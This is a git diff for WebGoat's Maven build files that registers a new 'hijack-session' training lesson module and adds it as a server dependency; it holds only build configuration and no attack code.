a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index f483656ae..36a330a16 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -43,7 +43,7 @@ path-traversal spoof-cookie logging - + hijack-session diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index ae1315ab5..dec76bfd0 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -154,6 +154,11 @@ spoof-cookie ${project.version} + + org.owasp.webgoat.lesson + hijack-session + ${project.version} + org.owasp.webgoat.lesson webgoat-lesson-template